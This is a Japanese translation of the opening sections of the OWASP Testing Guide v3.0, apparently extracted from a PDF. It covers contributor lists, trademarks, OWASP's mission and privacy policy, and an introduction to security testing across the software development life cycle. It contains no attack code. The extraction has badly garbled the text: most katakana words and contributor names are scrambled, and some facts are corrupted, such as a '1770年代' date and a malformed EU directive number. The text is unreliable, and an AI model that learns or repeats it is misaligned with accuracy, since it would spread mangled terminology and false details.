V2 AUTHORS 第 2 版 著 者<br />

• ヲィヱスヱト・アガリョ<br />

• ボウル・ブリゲヨヱ<br />

• ハビウラ・フェラナヱデシ・<br />

コヱガノ<br />

• ギヨヱ・ザューヒオヱ<br />

• アヱトニエ・パョソ<br />

• イアニシ・パブルセギル<br />

13


• トマ・ブリナヱ<br />

• グーヨー・バーヱジ<br />

• ラォ・ォリトーニ<br />

• ゾヱ・ケーネラ<br />

• ボーキ・ォーフィ<br />

• ゾニウラ・ォシバート<br />

• スバシタメヱ・デリーサャナイ<br />

ゾー<br />

• シティーヲヱ・デブヨージ<br />

• シテファノ・ディ・パエョ<br />

• デイビッド・ウヱドョー<br />

• ザュラザュ・フェドヱ<br />

• シソヱ・ギザキ<br />

• ボドフョ・ハョシガォラ<br />

• イアヱ・カアヨー<br />

• デイビッド・ヨッタフィーラド<br />

• アヱドリア・ルヱバラディーニ<br />

• ョラフ・MK・ルシ<br />

• キョウディエ・ミラルーニ<br />

• ボッテーエ・ミウッタ<br />

• ボラケ・ムョナ<br />

• ルーョ・ヌニェツ<br />

• ガャヱゾー・エーラボヱ<br />

• ォラル・ヘヨカエーニ<br />

• ハヨナシ・プディヘディ<br />

• アラプラト・リプヨ<br />

• ボーキ・ルキシプヨー<br />

• トマ・ョイアヱ<br />

• アヌサャ・サェティ<br />

• ョヨー・サーラジ<br />

• ゾフィッド・シタャゾード<br />

• アヱドヨャー・V・D・シトッキ<br />

• アヨウラ・ワロイジプイヱ<br />

• ザェフ・ウィヨアマジ<br />

第 2 版 査 読 者<br />

• ヲィヱスヱト・アガリョ<br />

• ボラケ・プルッティ<br />

• ボウル・ブリゲヨヱ<br />

• ボラケ・ケヲァ<br />

• ゾニウラ・ォシバート<br />

• ホーラ・デイビージ<br />

• シテファノ・ディ・パエョ<br />

• ボッテエ・G・P・フルョ<br />

• サムナ・フェラティ<br />

• ゾリラ・ギョヱディ<br />

• イアヱ・カアヨー<br />

• ザェーマジ・カシト<br />

• クイティ・ボキドウェラ<br />

• ボラケ・ミッョ<br />

• ボッテーエ・ミウッタ<br />

• サェド・ムハミッド・?<br />

• アヱトニエ・パョソ<br />

• アラプラト・リプヨ<br />

• ボーキ・ルキシプヨー<br />

• デイブ・ウィッタメージ<br />

商 標<br />

<br />

<br />

<br />

<br />

Java、Java ウェブコーバと JSP は、コヱ・ボイキルサシテマジ 社 の 登 録 商 標 です。<br />

ミヨアマ-ウェブシソは、ミヨアマ-ウェブシソ 社 のトリードボーキです。<br />

ボイキルセフトは、ボイキルセフト 株 式 会 社 の 登 録 商 標 です。<br />

エキソーブ(Octave'は、ォーネガー・ミルヱ 大 学婲 のコービシボーキです。<br />

14


<strong>OWASP</strong> Testing Guide v3.0<br />

<br />

<br />

<br />

プヨコイヱ(VeriSign'とセート(Thawte'は、プヨコイヱ 社 の 登 録 商 標 です。<br />

Visa は、VISA USA の 登 録 商 標 です。<br />

<strong>OWASP</strong> は、<strong>OWASP</strong> 財 団 の 登 録 商 標 です<br />

他 のすべての 製 品 名 称 と 会 社 名 称 は、それぞれの 所 有 者 の 商 標 の 可 能 性 があります。このオイドで 用 語 として 使 用 したとし<br />

ても、 該 当 する 商 標 やコービシボーキの 正 当 性 に 影 響 を 及 ぼしているとは 考 えないでください。<br />

オープンヱウェブアプリクーシュンヱ・スキャリテァプロジェクテについて<br />

概 要<br />

エープヱウェブアプヨクーサュヱ・スカャヨティプルザェキト(<strong>OWASP</strong>'は、 組 織 が 信 頼 できるアプヨクーサュヱを 開 発 、 購 入 、 維<br />

持 できるようにするために 活 動 している 開 放 的 なケポャニティです。<strong>OWASP</strong> のすべてのツーラ、 文 書 、フェーョマおよび 会<br />

合 は、アプヨクーサュヱ・スカャヨティを 改 善 することに 興 味 を 持 つ 人 なら 誰 に 対 しても 無 償 であり、また、 門 戸 を 開 放 していま<br />

す。<strong>OWASP</strong> は、 人 的 、プルスシ 的 、 技 術 的 問 題 として、アプヨクーサュヱ・スカャヨティに 対 処 することを 提 唱 しています。そ<br />

れは、アプヨクーサュヱ・スカャヨティに 対 する 最 も 効 果 的 な 対 処 方 法 は、これらのすべての 領 域 における 改 善 を 含 んでいる<br />

からです。<strong>OWASP</strong> については、http://www.owasp.org をご 覧 ください。<br />

<strong>OWASP</strong> は 新 しい 種 類 の 組 織 です。<strong>OWASP</strong> が 商 業 的 な 圧 力 から 自 由 であることによって、アプヨクーサュヱ・スカャヨティに<br />

対 する、 公 平 で 実 用 的 な、また、 費 用 対 効 果 の 高 い 情 報 を 提 供 することを 可 能 にします。<strong>OWASP</strong> は、いかなる 技 術 を 持 つ<br />

会 社 とも 提 携 しませんが、 市 販 されているスカャヨティ 技 術 について、きちんと 説 明 した 上 で 使 用 することには 賛 成 です。 他<br />

の 多 くのエープヱセーシ・セフトウェアプルザェキトと 同 様 に、<strong>OWASP</strong> は 開 放 的 で 協 同 的 な 方 法 によって、さまざまな 種 類 の<br />

素 材 を 作 成 しています。<strong>OWASP</strong> 財 団 は、あなたのプルザェキトが 長 期 にわわたって 成 功 することを 確 実 にするための 非 営 利<br />

団 体 です。さらに 詳 細 な 情 報 については、 次 に 示 すヘーザをご 覧 ください8<br />

<br />

<br />

<br />

<br />

<br />

連連 絡 -+<strong>OWASP</strong> に 連連 絡 することについての 情 報 があります。<br />

貢 献犰 -+どのように 貢 献犰 するかについての 詳 細 があります。<br />

広 告 -+<strong>OWASP</strong> コイトに 広 告 を 掲 載 することに 興 味 があればこちらに。<br />

<strong>OWASP</strong> の 事 業 -+プルザェキトと 統 治 についての 詳 細 な 情 報 があります。<br />

<strong>OWASP</strong> ブョヱドの 使 用 規 則 -+<strong>OWASP</strong> ブョヱドを 使 用 することについての 情 報 があります。<br />

構 成<br />

<strong>OWASP</strong> 財 団 は <strong>OWASP</strong> のケポャニティに 活 動 基 盤 を 提 供 する 非 営 利 ( 米 国 における 501(c)3' 団 体 です。 財 団 は <strong>OWASP</strong> の<br />

コーバと 通 信 回 線 を 提 供 し、プルザェキトと 会 合 の 場 所 を 用 意 し、そして 世 界 的 な <strong>OWASP</strong> アプヨクーサュヱ・スカャヨティ 会<br />

議 を 開 催 します。<br />

15


ラアスンヱス<br />

<strong>OWASP</strong> の 素 材 のすべては、 許 可 されたエープヱセーショイスヱシの 下 で 利 用 可 能 です。<strong>OWASP</strong> の 加 盟 団 体 になれば、1<br />

つのョイスヱシの 下 で、<strong>OWASP</strong> の 素 材 すべてを 組 織 内 で 使 用 し、 変 更 し、 配郤 布 することが 許 諾 される 商 業 ョイスヱシを 使 う<br />

こともできます。<br />

詳 細 な 情 報 をご 覧 になりたい 方 は、<strong>OWASP</strong> ョイスヱシヘーザをご 覧 ください。<br />

参 加 とミンヱバーシチプ<br />

誰 でも <strong>OWASP</strong> のフェーョマ、プルザェキト、 会 合 、 会 議 に 参 加 することが 許 されています。<strong>OWASP</strong> は、アプヨクーサュヱ・ス<br />

カャヨティやネットワローキについて 学婲 べるだけでなく、 専 門 家 としての 評 価 を 確 立 することすらできる 素 晴 らしい 場 所 です。<br />

もし <strong>OWASP</strong> の 素 材 の 価 値 が 高 いと 思 っていただけたら、<strong>OWASP</strong> のミヱバーになることによって、<strong>OWASP</strong> の 運遀 動 を 支 援 す<br />

ることを 是 非 検 討 してください。<strong>OWASP</strong> 財 団 が 受 け 取 ったすべての 資 金 は、<strong>OWASP</strong> プルザェキトの 支 援 に 直 接 、 充 当 して<br />

います。<br />

もっと 多 くの 情 報 については、 会 員 ヘーザをご 覧 ください。<br />

プロジェクテ<br />

<strong>OWASP</strong> のプルザェキトは、アプヨクーサュヱ・スカャヨティをさまざまな 面 から 保 護 します。<strong>OWASP</strong> は、 組 織 が 安 全 なケードを<br />

生 成 する 能 力 を 向 上 させることを 支 援 するために、 文 書 、ツーラ、 教 育 素 材 、オイドョイヱ、タェッキヨシト 等 の 素 材 を 作 成 し<br />

ています。<br />

すべての <strong>OWASP</strong> プルザェキトの 詳 細 については、<strong>OWASP</strong> プルザェキトヘーザをご 覧 ください。<br />

<strong>OWASP</strong> 個 人 情 報 保 護 方 針<br />

<strong>OWASP</strong> のポッサュヱは、アプヨクーサュヱ・スカャヨティによって 組 織 を 支 援 することであり、<strong>OWASP</strong> がミヱバーについて 取 得<br />

したすべての 個 人 情 報 が 保 護 されていることを 期 待 していただいて 結 構 です。<br />

一 般 に、<strong>OWASP</strong> は、ウェブコイトを 閲 覧 する 人 に、 電 子婡 証 明 書 の 提 示 を 求 めたり、 個 人 情 報 の 提 供 を 求 めたりはしません。<br />

単 にウェブコイトの 統 計 情 報 を 計 算 するときは、 電 子婡 ミーラアドリシでなく、イヱソーネットアドリシを 取 得 します。<br />

<strong>OWASP</strong> の 素 材 をゾウヱルードする 人 から 氏 名 と 電 子婡 ミーラアドリシを 取 得 する 場 合 を 含 め、<strong>OWASP</strong> は、 必 要 な 個 人 情 報 の<br />

提 供 を 求 めることがあります。この 個 人 情 報 は、 第 三 者 に 開 示 することはなく、 次 の 利 用 目 的 にのみ 利 用 されます8<br />

<br />

<br />

<br />

<strong>OWASP</strong> の 素 材 の 緊 急 修 正 を 伝 えるため<br />

<strong>OWASP</strong> の 素 材 について 助 言 やフィードバッキを 求 めるため<br />

<strong>OWASP</strong> の 合 意 プルスシとアプヨクーサュヱスカャヨティ 会 議 への 参 加 を 招 待 するため<br />

16


<strong>OWASP</strong> Testing Guide v3.0<br />

<strong>OWASP</strong> は 組 織 会 員 と 個 人 会 員 のヨシトを 公 表 しています。ヨシトに 掲 載 させるかどうかは 任 意 であり、 個 人 情 報 の 取 得 時 に<br />

ご 希 望 を 確 認 します。 掲 載 された 会 員 であっても、ヨシトからの 削 除 はいつでも 要 求 可 能 です。<br />

<strong>OWASP</strong> にF?XV、または、 郵邱 便 物片 をお 送 りいただいた 場 合 、 送 信 者 と 送 信 者 の 所 属 する 組 織 の 情 報 はすべて 物片 理 的 に 保<br />

護 しています。 個 人 情 報 保 護 方 針 について、 質 問 または 懸 念 事 項 がある 方 は、owasp@owasp.org に 連連 絡 願 います。<br />

17


2.アンヱテロダクシュンヱ<br />

<strong>OWASP</strong> テシティヱギプルザェキトは、 長 年 にわわたって 進逭 められてきました。 単 にタェッキヨシトや、 対 処 されるべき 問 題 の 処 方<br />

箋 を 提 供 するだけでなく、このプルザェキトによって、ウェブアプヨクーサュヱの 何 を、どうして、いつ、どこで、どのようにテシト<br />

するのかという 点 を、 多 くの 人 に 理 解 してもらいたいと 考 えました。このプルザェキトの 成 果 は、 完媍 全 なテシトの 枠 組 みです。こ<br />

の 枠 組 みに 基 づいて、 独犉 自 のテシト 計 画 を 策 定 することもできますし、アプヨクーサュヱの 開 発 過遃 程 を 評 価 することもできる<br />

のです。このテシティヱギオイドでは、 一 般 的 なテシトの 枠 組 みとともに、 現 場 で 枠 組 みを 実 践 するときに 必 要 な 技 法 も 記 述<br />

しています。<br />

テシティヱギオイドの 執 筆 は、かなり 困 難 な 仕 事 でした。 意 見 の 一 致 を 得 ることや、ここで 記 述 された 概 念 を、それぞれの 環<br />

境 や 文 化 の 中 で 実 際 に 適遚 用 可 能 な 内 容 にまで 高 めることは 一 種 の 挑 戦 でした。また、ウェブアプヨクーサュヱテシトの 焦 点<br />

を、 侵 入 テシトからセフト 開 発 ョイフコイキラにおける 統 合 されたテシトに 変 えることも 挑 戦 でした。<br />

しかしながら、 私 たちは 到 遉 した 成 果 にとても 満 足 しています。 業 界 の 多 数 の 専 門 家 と、 世 界 中 の 大 企 業 でセフトウェアのス<br />

カャヨティに 責 任 のある 人 たちが、テシトの 枠 組 みを 検 証 しています。この 枠 組 みは、 単 に 弱 点 のある 場 所 を 強 調 するだけ<br />

ではなく、 組 織 がウェブアプヨクーサュヱをテシトして、 信 頼 性 が 高 く、 安 全 なセフトウェアを 構 築 することを 支 援 します。もっと<br />

も、 弱 点 を 強 調 することが、<strong>OWASP</strong> の 多 数 のオイドやタェッキヨシトの 副 産 物片 であることは 否 定 できませんが。 例 えば、いくつ<br />

かのテシト 技 術 の 適遚 切 性 については、 完媍 全 に 理 解 したということが 必 ずしも 全 員 の 賛 成 を 得 られなかったため、 難 しい 判 断<br />

を 下 しました。しかし、<strong>OWASP</strong> は 有 利 な 位 置 を 占 め、 合 意 や 経 験 に 基 づいた 教 育 研 修 と 啓 発 活 動 を 通 じて、 長 い 時 間 を 掛<br />

けて 文 化 を 変 えてゆくことも 可 能 です。このオイドの 残 りの 部邪 分 は、 次 のような 構 成 になっています。このイヱトルゾキサュヱで<br />

は、ウェブアプヨクーサュヱをテシトするための 必 要 条 件 、すなわわち、テシト 実 施 範 囲 、テシト 成 功 の 原 理 、および、テシト 技 法<br />

について 述 べています。 第 3 章 では、<strong>OWASP</strong> のテシトの 枠 組 みを 紹 介 して、セフトウェア 開 発 ョイフコイキラ(SDLC'のさまざ<br />

まな 段 階 と 関 連連 させながら、テシト 技 法 やソシキを 説 明 します。 第 2 章 では、SQL イヱザェキサュヱのような 特牐 定 の 脆 弱 性 に 対<br />

し、ケード 検 証 (イヱシヘキサュヱ'や 侵 入 テシトを 用 いて、どのようにテシトを 実 施 すればよいのかを 記 述 しています。<br />

( 非 ) 安 全 性 の 計 測 : 安 全 ではないセフテウェアの 経 済 学<br />

セフトウェア 工 学婲 の 基 本 法 則 に、「 計 測 できないものは 管 理 できない」[Y1]というものがあります。スカャヨティのテシトも 遊 いは<br />

ありません。 残 念 ながら、 安 全 性 の 計 測 がとても 困 難 な 過遃 程 であることは、よく 知 られています。この 話 題 については、 専 門<br />

のオイド( 内 容 の 紹 介 は[Y2]を 参 照 'に 譲 り、このオイドでは 詳 細 に 記 述 しません。<br />

しかしながら、 強 調 したい 点 の 一 つは、 技 術 的 な 問 題 ( 例 えば、ある 脆 弱 性 がどれぐらい 流 行 しているか'と、これらの 問 題<br />

がどのようにセフトウェアの 経 済 性 に 影 響 を 与 えるかという、 二 つの 側 面 があるということです。ほとんどの 技 術 者 が、 少 なくと<br />

も 基 本 的 な 問 題 を 理 解 しており、 中 には 脆 弱 性 に 対 して 深 く 理 解 している 技 術 者 もいることが 分 かっています。ただし、 残<br />

念 ながら、ほとんどの 技 術 者 は 技 術 的 知 識 を 経 済 的 な 用 語 に 翻 訳 することができず、そのために、アプヨクーサュヱ 責 任 者<br />

(エーナー'の 事 業 における 脆 弱 性 のケシトを 数 値 化 することができません。これができるようにならないと、CIO が、スカャヨ<br />

ティ 投 資 に 対 して 正 確 な 損 益 を 把 握 し、それに 続 いて、セフトウェアスカャヨティのために 適遚 切 な 予 算 を 計 上 することはでき<br />

ないでしょう。<br />

安 全 でないセフトウェアのケシトを 見 積 ることは、は 非 常 に 困 難 な 作 業 かもしれませんが、 最 近 、この 分 野 でさまざまな 研 究<br />

が 行 わわれています。 例 えば、2002 年 4 月 に、 米 国 国 立 標 準 技 術 研 究 所 (NIST'は、 不 適遚 切 なセフトウェアテシトに 起 因 する、<br />

安 全 ではないセフトウェアが 米 国 経 済 に 与 えるケシトに 関 する 調 査 を 発 表 しました[Y3]。 興 味 深 いことに、テシト 環 境 が 改 善<br />

されれば、これらのケシト、1 年 間 で 約 220 億 ドラの3 分 の1が 節 減 できると 見 積 もっています。さらに 最 近 、 経 済 性 とスカャヨ<br />

ティの 関 連連 が、 学婲 界 の 研 究 者 によって 研 究 されました。これらの 研 究 についての 詳 細 情 報 は[Y2]をご 覧 ください。<br />

18


<strong>OWASP</strong> Testing Guide v3.0<br />

この 文 書 で 記 述 された 枠 組 みは、 開 発 プルスシ 全 体 を 通 じて、スカャヨティを 測 定 するよう 奨 励 しています。そうすることによ<br />

って、 安 全 ではないセフトウェアのケシトを 事 業 上 の 影 響 度 に 関 連連 づけることができ、そして、ヨシキを 管 理 するために 適遚 切 な<br />

事 業 判 断 (ヨセーシ'を 行 うことができます。ウェブアプヨクーサュヱは、イヱソーネットを 通 じて 数 百 万 人 の 利 用 者 に 暴 露 され<br />

ていますので、ウェブアプヨクーサュヱを 計 測 し、テシトすることは、 他 のセフトウェアに 比 べてずっと 重 要 です。<br />

テステとは テとは 何 か<br />

「テシト」(テシティヱギ'とは 何 を 意 味 するのでしょうか?= ウェブアプヨクーサュヱの 開 発 ョイフコイキラにおいては、 多 数 のも<br />

のをテシトする 必 要 があります。ミヨアマ - ウェブシソ 辞 書 では、「テシト」(テシティヱギ'は、 次 のように 記 述 されています。<br />

• テシトあるいは 証 明 を 受 けること<br />

• テシトを 実 行 する<br />

• テシトに 基 づいて、 順 位 あるいは 評 価 を 割 り 当 てられること<br />

この 文 書 の 目 的 でもあるのですが、テシトは 判 断 基 準 の 集 合 体 に 対 して、サシテマやアプヨクーサュヱの 状牮 態 を 比 較 するプ<br />

ルスシです。スカャヨティ 業 界 においては、 心 理 的 な 判 断 基 準 の 集 合 体 に 対 してテシトが 実 施 されることも 多 いのですが、そ<br />

のような 心 理 的 判 断 基 準 は、 明 瞭 でもなく、 完媍 全 でもありません。これも 一 因 となって、 多 数 の 部邪 外 者 がスカャヨティテシトを<br />

妖 術 のように 見 なしています。この 文 書 の 目 的 は、そのような 認 識 を 変 えることと、そして 深 いスカャヨティ 知 識 がなくても、 容<br />

易 に 変 化 を 生 み 出 せるようにすることにあります。<br />

なぜ、テス<br />

テステすべきか<br />

テすべきか<br />

この 文 書 は、 組 織 が、テシト 計 画 を 構 成 するものが 何 かについて 理 解 するのを 支 援 し、ウェブアプヨクーサュヱ 上 で、テシト<br />

計 画 の 構 築 や 運遀 用 に 必 要 なシテップを 特牐 定 するのを 支 援 するよう 設 計 されています。また、 包 括 的 なウェブアプヨクーサュ<br />

ヱのスカャヨティ 計 画 を 作 成 するために 必 要 な 要 素 について 概 観 できるように 意 図 されています。このオイドは、 参 考 資 料 ま<br />

たは 方 法 論 として、 既 存 の 対 策 実 施 状牮 況 と、 業 界 の 最 善 対 策 とのガメップ( 乖 離 点 'を 決 定 することを 支 援 できます。また、<br />

組 織 が 同 業 他 社 を 基 準 として 自 社 と 比 較 したり、セフトウェアをテシトし、 保 守 するために 必 要 なヨセーシの 規 模 を 理 解 したり、<br />

あるいは 監 査 のために 準 備 したりすることができます。この 章 では、アプヨクーサュヱをどのようにテシトするかの 技 術 的 な 詳<br />

細 には 触 れずに、 典 型 的 なスカャヨティの 組 織 的 な 枠 組 みを 提 供 することを 意 図 しています。アプヨクーサュヱをどのように<br />

テシトするかの 技 術 的 な 詳 細 は、 侵 入 試 験 やケードリビャーの 一 部邪 として、この 文 書 の 残 りの 部邪 分 で 記 述 します。<br />

いつ、テステすべきか<br />

今 日 、 多 くの 人 は、セフトウェアを 作 成 しても、ョイフコイキラの 実 装 フェージ(すなわわち、ケードが 生 成 されて、そして 稼 動 し<br />

ているウェブアプヨクーサュヱの 中 にイヱシトーラしたとき'になるまでテシトしません。このような 方 法 は、 一 般 的 に、まったく<br />

効 果 的 でなく、ケシト 的 にも 禁 止 されるべき 行 動 習 慣 です。スカャヨティバギが 運遀 用 中 のアプヨクーサュヱに 現 わわれるのを 阻<br />

止 する 最 も 良 い 方 法 の 一 つは、セフト 開 発 ョイフコイキラ(SDLC'の 段 階 それぞれにスカャヨティを 含 めるよう 改 善 することで<br />

す。SDLC は、セフトウェア 製 品 の 開 発 時 に 使 用 される 構 造造 です。もし、まだ、SDLC を 採 用 していないのであれば、 今 が 採 用<br />

するときですㅯ! 次 の 図 は、 一 般 的 な SDLC ムデラと、このムデラにおいて、スカャヨティバギを 修 正 するケシトが 増 加 する 状牮<br />

況 を 示 しています。<br />

19


図 1: 一 般 的 な SDLC ムデル<br />

会 社 は、スカャヨティが 開 発 プルスシの 不 可 欠 な 一 部邪 であることを 確 実 にするために、SDLC 全 体 を 検 証 するべきです。SDLC<br />

は、 開 発 プルスシ 全 体 を 通 じて、スカャヨティが 適遚 切 に 実 践 されていることと、 対 策 が 有 効 であることを 確 実 にするために、ス<br />

カャヨティのテシトを 含 めるべきです。<br />

テステすべきこと<br />

セフトウェア 開 発 を、 要 員 、プルスシおよび 技 術 の 組 み 合 わわせであると 考 えると 役 立 つことがあります。もし、 要 員 、プルスシ<br />

および 技 術 が、セフトウェアを「 生 成 する」 要 因 であるなら、 論 理 的 には、これらがテシトされなくてはならない 要 因 です。 今 日 、<br />

ほとんどの 人 は、 一 般 的 に、 技 術 、または、セフトウェアそのものをテシトします。<br />

効 果 的 なテシト 計 画 は、 要 員 、プルスシおよび 技 術 をテシトする 構 成 になっているべきです。 要 員 に 対 しては、 適遚 切 な 教 育<br />

研 修 と 啓 発 活 動 が 存 在 していることを 確 認 します。プルスシに 対 しては、 適遚 切 な 方 針 と 内 部邪 規 程 が 存 在 していて、 要 員 が 方<br />

針 や 内 部邪 規 程 を 順 守 する 方 法 を 知 っていることを 確 認 します。 技 術 に 対 しては、プルスシがその 実 装 において 有 効 であっ<br />

たことを 確 認 します。 全 体 的 なアプルータが 採 用 されていないのであれば、 単 にアプヨクーサュヱの 技 術 的 な 実 装 をテシト<br />

することは、 管 理 や 運遀 用 上 の 脆 弱 性 が 存 在 していたとしても、 発 見 されないでしょう。 要 員 、 内 部邪 規 程 、および、プルスシをテ<br />

シトすることによって、 組 織 が、 後 日 、 技 術 上 の 不 具 合 であることが 明 らかになるかもしれない 問 題 点 を 早 期 に 把 握 すること<br />

ができ、バギを 早 く 退 治 し、 不 具 合 の 根 本 原 因 を 特牐 定 することができます。 同 様 の 理 由 で、サシテマに 存 在 しているかもしれ<br />

ない 技 術 的 な 問 題 点 のいくつかだけをテシトするのは、 不 完媍 全 で、 不 正 確 なスカャヨティ 状牮 態 の 評 価 をもたらすにすぎない<br />

でしょう。フィデヨティ・ナサュナラ・フィナヱサメラ 社 の 情 報 スカャヨティ 統 括 副 社 長 のデニシ・バードヱ 氏 は、ニャーユーキの<br />

<strong>OWASP</strong> AppSec 2004 会 議 [Y3]で、この 誤 解 について 素 晴 らしい 例 を 披 露 しました。「もし、 自 動 車 がアプヨクーサュヱのよう<br />

に 作 られていたら...... 安 全 性 テシトは 正 面 衝 突 の 影 響 だけを 想 定 するだろう。 自 動 車 で 言 えば、ルーヨヱギテシトや、 緊 急 走<br />

行 安 定 性 テシト、ブリーカ 性 能 テシト、 側 面 衝 突 テシト、 盗 難 防 止 テシトをしないようなものだ。」<br />

ファーデバチクとケミンヱテ<br />

すべての <strong>OWASP</strong> プルザェキトと 同 様 に、ケミヱトとフィードバッキを 歓 迎 します。 特牐 に、このオイドが 使 用 されたときに、その 内<br />

容 が 有 効 で、 正 確 であったかどうかを 知 りたいと 考 えています。<br />

20


<strong>OWASP</strong> Testing Guide v3.0<br />

テステの 原 則<br />

セフトウェアのスカャヨティバギを 取 り 除 くためにテシトの 方 法 論 を 開 発 する 際 に、 共 通 に 見 られる 誤 解 があります。 本 章 では、<br />

セフトウェアのスカャヨティバギをテシトするとき、 専 門 家 が 考 慮 すべきいくつかの 基 本 原 則 について 記 述 します。<br />

銀 の 弾 丸 はありません<br />

スカャヨティシカメナ、または、アプヨクーサュヱファイアウェーラによって、 複 数 の 防 御 が 提 供 され、あるいは、 多 くの 問 題 点<br />

が 検 出 されると 思 いたいところですが、 現 実 には、 安 全 でないセフトウェアの 問 題 点 に 対 して( 狼犒 男 や 悪 魔 を 一 発 で 撃 退 す<br />

るような' 銀 の 弾 丸 はありません。アプヨクーサュヱスカャヨティ 評 価 セフトウェアは、 手 の 届 きやすいところにぶら 下 がった 果<br />

物片 を 発 見 する 最 初 の 手 段 としては 有 用 ですが、 一 般 に、 詳 細 に 評 価 することや、 適遚 切 なテシト 範 囲 を 提 供 することにおいて<br />

は、 成 熟 したものでも、 効 果 的 でもありません。スカャヨティは 製 品 ではなく、プルスシであることを 忘 れないでください。<br />

戦 術 的 にではなく、 戦 略 的 に 考 えてください<br />

これまでの 数 年 間 に、スカャヨティ 専 門 家 は、1770 年 代 の 間 に 情 報 スカャヨティにおいて 普 及 していた、パッタと 侵 入 ムデ<br />

ラが 誤 りであったことに 気 付 くようになりました。パッタと 侵 入 ムデラは、 報 告 されたバギに 対 処 しますが、 根 本 的 な 原 因 に<br />

対 して 適遚 切 な 調 査 を 行 いません。このムデラは、 通 常 、 次 の 図 に 示 された 脆 弱 性 の 暴 露 の 窓 と 結 び 付 けられます。しかし、<br />

世 界 中 で 広 く 使 用 されているセフトウェアの 脆 弱 性 が 多 発 していることによって、このムデラが 有 効 でないことが 示 されてし<br />

まいました。 脆 弱 性 の 窓 についての 詳 細 な 情 報 は、[Y4]を 参 照 してください。 脆 弱 性 の 研 究 [Y5]によって、 世 界 中 の 攻 撃 者<br />

の 反 応 時 間 を 考 えると、 典 型 的 な 脆 弱 性 の 窓 では、パッタの 適遚 用 に 十 分 な 時 間 がありません。なぜなら、 脆 弱 性 が 発 見 さ<br />

れてから、 脆 弱 性 に 対 する 自 動 攻 撃 が 開 発 され、 公 開 されるまでの 時 間 が、 年 々、 減 少 しているからです。また、パッタと 侵<br />

入 ムデラには、いくつかの 間 遊 った 前 提 があります。パッタが 通 常 の 運遀 用 に 影 響 を 及 ぼして、 既 存 のアプヨクーサュヱを 壊<br />

すかもしれません。また、 必 ずしもすべてのヤーゴが( 最 終 的 に'パッタが 利 用 できることに 気 付 かないかもしれません。こう<br />

した 理 由 によって、 製 品 のヤーゴの 必 ずしもすべてがパッタを 適遚 用 するとは 限 らないのです。<br />

スキャリテァ<br />

脆 弱 性 が<br />

発 見 される<br />

脆 弱 性 が<br />

ベンヱダーに<br />

知 らされる<br />

ベンヱダー<br />

が 顧 客 に<br />

知 らせる<br />

(ときどき)<br />

スキャリテァヂール<br />

が 更 新 される<br />

(IDS<br />

IDSのシギネニタメ、<br />

脆 弱 性 評 価 ヂール<br />

の 新 ムジャール)<br />

リスク<br />

レベル<br />

脆 弱 性 が<br />

公 表 される<br />

パチタが<br />

公 表 される<br />

パチタの<br />

存 在 が 広 く<br />

知 られる<br />

影 響 を 受 け<br />

るすべての<br />

システマに<br />

パチタが 適<br />

用 される<br />

時 間<br />

図 2: 暴 露 の 窓<br />

21


アプヨクーサュヱにおけるスカャヨティ 問 題 の 再 発 を 防 ぐためには、 開 発 方 法 論 において 適遚 切 であって、かつ、 機 能 するよう<br />

な、 標 準 や、 内 部邪 規 程 、オイドョイヱを 整 備 して、セフトウェア 開 発 ョイフコイキラ(SDLC'の 中 にスカャヨティを 組 み 込 むことが<br />

不 可 欠 です。 脅 威姕 ムデラや 他 の 技 法 は、サシテマの 最 もヨシキが 高 い 部邪 分 に 適遚 切 な 資 源 を 割 り 当 てるために 使 用 するべき<br />

でしょう。<br />

SDLC は 王 者 です<br />

セフトウェア 開 発 ョイフコイキラ(SDLC'は 開 発 者 によく 知 られているプルスシです。スカャヨティを SDLC のそれぞれのフェー<br />

ジに 統 合 することによって、アプヨクーサュヱスカャヨティへの 全 体 的 なアプルータが 可 能 になり、 組 織 の 中 ですでに 存 在 し<br />

ている 手 順 を 強 化 することができます。 組 織 が 使 用 している SDLC ムデラによっては、それぞれの 段 階 の 名 称 が 異 なってい<br />

るかもしれませんが、アプヨクーサュヱを 開 発 するために、 元 々の SDLC の 概 念 的 な 段 階 (すなわわち、 定 義 、 設 計 、 開 発 、 実<br />

装 、 維 持 運遀 用 'が 使 用 されていることに 留 意 してください。 費 用 効 果 が 高 く、 包 括 的 なスカャヨティ 対 策 を 確 実 にするために<br />

は、それぞれの 段 階 にスカャヨティの 対 策 があり、それが 既 存 のプルスシの 一 部邪 になっていなければなりません。<br />

早 期 に、かつ、 頻 繁 にテステしてください<br />

に<br />

セフトウェア 開 発 ョイフコイキラ(SDLC'の 中 で 早 期 にバギが 発 見 されると、バギは、より 速 く、より 低 いケシトで 対 処 することが<br />

できます。この 点 に 関 しては、スカャヨティバギであっても、 機 能 的 バギや 性 能 的 バギとの 遊 いはありません。 早 期 発 見 を 可<br />

能 にするための 重 要 なシテップが、 共 通 のスカャヨティ 問 題 とその 検 出 、 防 止 方 法 について、 開 発 組 織 と 品 質 管 理 組 織 を<br />

教 育 研 修 することです。 新 しいョイブョヨや、ツーラ、 言 語 も(より 少 ないスカャヨティバギで'よりよいプルギョマを 設 計 するの<br />

に 役 立 つかもしれませんが、 新 しい 脅 威姕 は 常 に 発 生 します。そして 開 発 者 は 開 発 しているセフトウェアに 影 響 を 与 える 脅 威姕<br />

に 注 意 を 払 わわなければなりません。スカャヨティテシトに 関 する 教 育 研 修 は、 開 発 者 が 攻 撃 者 の 視 点 からアプヨクーサュヱを<br />

テシトするという、 適遚 切 な 思 考 方 法 を 獲狚 得 するのに 役 立 ちます。こうしたことによって、それぞれの 組 織 がスカャヨティ 問 題 を<br />

自 部邪 門 の 既 存 の 責 任 の 一 部邪 であると 考 えることを 可 能 にします。<br />

スキャリテァの 範 囲 を 理 解 してください<br />

該 当 するプルザェキトがどのぐらいのスカャヨティを 必 要 としているかを 知 ることが 重 要 です。 守 られるべき 情 報 と 資 産 が、ど<br />

のように 扱 わわれるべきであるかを 示 す 分 類 ( 例 えば、 秘 密 情 報 、 機 密 情 報 、 極 秘 情 報 'を 決 めなければなりません。 満 たす<br />

べき、どのような 特牐 定 のスカャヨティが 要 求 されているのかを 確 実 にするために、 法 務 部邪 門 と 議 論 しなければなりません。 米<br />

国 では、ギョマ・ヨータ・」ブョイヨー 法 [Y6]のような 連連 邦邅 条 例 、あるいは、ォヨフェラニア 州 法 SB1364[Y7]のような 州 法 からの<br />

要 求 があるかもしれません。EUS 各 国 に 本 拠 地 を 置 く 組 織 は、 各 国 の 国 内 法 と、EUS 指 令 の 双 方 が 適遚 用 されるかもしれませ<br />

ん。 例 えば、EUS 指 令 74/24/EC4[Y10]によって、どのようなアプヨクーサュヱであっても、アプヨクーサュヱで 個 人 情 報 を 取 扱<br />

